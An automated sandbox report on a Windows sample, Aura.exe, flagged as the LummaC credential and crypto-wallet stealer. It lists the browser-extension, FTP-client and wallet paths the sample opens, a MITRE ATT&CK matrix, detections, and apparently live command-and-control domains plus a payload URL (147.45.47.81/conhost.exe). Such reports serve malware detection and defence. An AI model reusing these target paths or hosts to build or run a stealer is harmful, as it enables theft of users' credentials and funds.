Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\Aura.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior

Source: Yara match	File source: 00000002.00000003.1863800274.000000000341B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1842452334.0000000003427000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1842261348.0000000003424000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Aura.exe PID: 7412, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Aura.exe PID: 7412, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	211 Process Injection	21 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	211 Process Injection	LSASS Memory	1 Query Registry	Remote Desktop Protocol	41 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	241 Security Software Discovery	SMB/Windows Admin Shares	3 Clipboard Data	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	21 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	11 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	33 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Aura.exe	34%	ReversingLabs	Win32.Exploit.LummaC
Aura.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://lev-tolstoi.com/r	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/apimv	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/apil	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/pi(	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/api1	100%	Avira URL Cloud	malware
https://store.steampower	0%	Avira URL Cloud	safe
http://147.45.47.81/conhost.exeS	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
steamcommunity.com	23.55.153.106	true	false	high
lev-tolstoi.com	104.21.66.86	true	false	high
cashfuzysao.buzz	unknown	unknown	true	unknown
scentniej.buzz	unknown	unknown	true	unknown
inherineau.buzz	unknown	unknown	true	unknown
prisonyfork.buzz	unknown	unknown	false	high
rebuildeso.buzz	unknown	unknown	true	unknown
appliacnesot.buzz	unknown	unknown	true	unknown
hummskitnj.buzz	unknown	unknown	true	unknown
mindhandru.buzz	unknown	unknown	false	high
screwamusresz.buzz	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
scentniej.buzz	false	high
https://steamcommunity.com/profiles/76561199724331900	false	high
rebuildeso.buzz	false	high
appliacnesot.buzz	false	high
screwamusresz.buzz	false	high
cashfuzysao.buzz	false	high
inherineau.buzz	false	high
https://lev-tolstoi.com/api	false	high
hummskitnj.buzz	false	high
mindhandru.buzz	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	Aura.exe, 00000002.00000003.1767549116.0000000005B69000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1766979070.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	Aura.exe, 00000002.00000003.1767549116.0000000005B69000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1766979070.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/?subsection=broadcasts	Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/r	Aura.exe, 00000002.00000003.1863854855.0000000003417000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	Aura.exe, 00000002.00000003.1816553901.0000000005B2E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://store.steampowered.com/subscriber_agreement/	Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.valvesoftware.com/legal.htm	Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en	Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/dn.c	Aura.exe, 00000002.00000003.1739584373.00000000033D5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	Aura.exe, 00000002.00000003.1816553901.0000000005B2E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	Aura.exe, 00000002.00000003.1739501843.000000000337A000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/pi(	Aura.exe, 00000002.00000003.1739584373.00000000033B8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl	Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=FRRi	Aura.exe, 00000002.00000003.1739501843.000000000337A000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&	Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	Aura.exe, 00000002.00000003.1841956357.0000000005B2C000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1842228400.0000000005B2C000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1839023378.0000000005B2B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampower	Aura.exe, 00000002.00000002.3511215128.000000000336C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.entrust.net/rpa03	Aura.exe	false		high
https://lev-tolstoi.com/	Aura.exe, 00000002.00000003.1739584373.00000000033B8000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000002.3511433189.0000000003415000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.2531562354.0000000003415000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739501843.0000000003382000.00000004.00000020.00020000.00000000.sdmp	false		high
http://store.steampowered.com/privacy_agreement/	Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/points/shop/	Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Aura.exe, 00000002.00000003.1767549116.0000000005B69000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1766979070.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	Aura.exe, 00000002.00000003.1815244598.0000000005B50000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	Aura.exe, 00000002.00000003.1841956357.0000000005B2C000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1842228400.0000000005B2C000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1839023378.0000000005B2B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIX	Aura.exe, 00000002.00000003.1841956357.0000000005B2C000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1842228400.0000000005B2C000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1839023378.0000000005B2B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	Aura.exe, 00000002.00000003.1815244598.0000000005B50000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	Aura.exe, 00000002.00000003.1792800080.0000000005B77000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1792942781.0000000005B77000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1769020508.0000000005BC3000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1769094742.0000000005B77000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a	Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.or	Aura.exe, 00000002.00000002.3511215128.000000000336C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	Aura.exe, 00000002.00000003.1767549116.0000000005B69000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1766979070.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199724331900/inventory/	Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	Aura.exe, 00000002.00000003.1816181771.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://store.steampowered.com/privacy_agreement/	Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.microsof	Aura.exe, 00000002.00000003.1769020508.0000000005BC5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	Aura.exe, 00000002.00000003.1769094742.0000000005B52000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.entrust.net/2048ca.crl0	Aura.exe	false		high
https://www.entrust.net/rpa0	Aura.exe	false		high
https://store.steampowered.com/about/	Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/my/wishlist/	Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&	Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.entrust.net03	Aura.exe	false		high
http://ocsp.entrust.net02	Aura.exe	false		high
https://help.steampowered.com/en/	Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/market/	Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/news/	Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Aura.exe, 00000002.00000003.1767549116.0000000005B69000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1766979070.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://store.steampowered.com/acco	Aura.exe, 00000002.00000002.3511215128.000000000336C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://store.steampowered.com/subscriber_agreement/	Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000002.3511215128.000000000336C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	Aura.exe, 00000002.00000003.1792800080.0000000005B77000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1792942781.0000000005B77000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1769020508.0000000005BC3000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1769094742.0000000005B77000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/apil	Aura.exe, 00000002.00000002.3511433189.00000000033F4000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.2531562354.00000000033F2000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.2531148527.00000000033D5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://147.45.47.81/conhost.exe	Aura.exe, 00000002.00000002.3511215128.000000000336C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/apimv	Aura.exe, 00000002.00000002.3511215128.000000000336C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://steamcommunity.com/discussions/	Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/stats/	Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am	Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a	Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/steam_refunds/	Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	Aura.exe, 00000002.00000003.1815244598.0000000005B50000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	Aura.exe, 00000002.00000003.1815244598.0000000005B50000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	Aura.exe, 00000002.00000003.1769094742.0000000005B52000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Aura.exe, 00000002.00000003.1767549116.0000000005B69000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1766979070.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a	Aura.exe, 00000002.00000003.1739501843.000000000337A000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900	Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e	Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.entrust.net/ts1ca.crl0	Aura.exe	false		high
https://steamcommunity.com/workshop/	Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	Aura.exe, 00000002.00000003.1816181771.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c	Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/legal/	Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en	Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
